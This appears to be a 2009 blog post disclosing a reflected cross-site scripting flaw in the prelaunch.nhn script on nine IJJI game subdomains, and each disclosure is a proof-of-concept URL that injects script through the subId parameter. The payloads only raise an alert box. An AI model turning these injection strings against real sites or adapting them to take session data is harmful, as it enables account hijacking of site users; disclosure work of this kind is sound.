Global Pre-Launch [BONUS]

12 August 2009

Type: Non-persistent
Criteria: None

Thus begins the final 4 days of this experiment; hopefully ending with a bang.

This post will disclose 9 seperate vulnerabilities in the prelaunch.nhn script used to communicate with the various plugins to launch one of the many games offered on the IJJI service.

1) Top-level

http://www.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

2) www2

http://www2.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

3) Huxley:The Dystopia

http://huxley.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

4) Soldier Front

http://sfront.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

5) GunZ

http://gunz.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

6) Drift City

http://drift.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

7) Lunia

http://lunia.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

8) Game

http://game.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

9) Events

http://event.ijji.com/common/prelaunch.nhn?subId=%27);}alert(%27xss%27);function%20init(){return;//

They clearly all exploit the same parameter, as they share the same script. I plan to writeup better descriptions in a seperate post.

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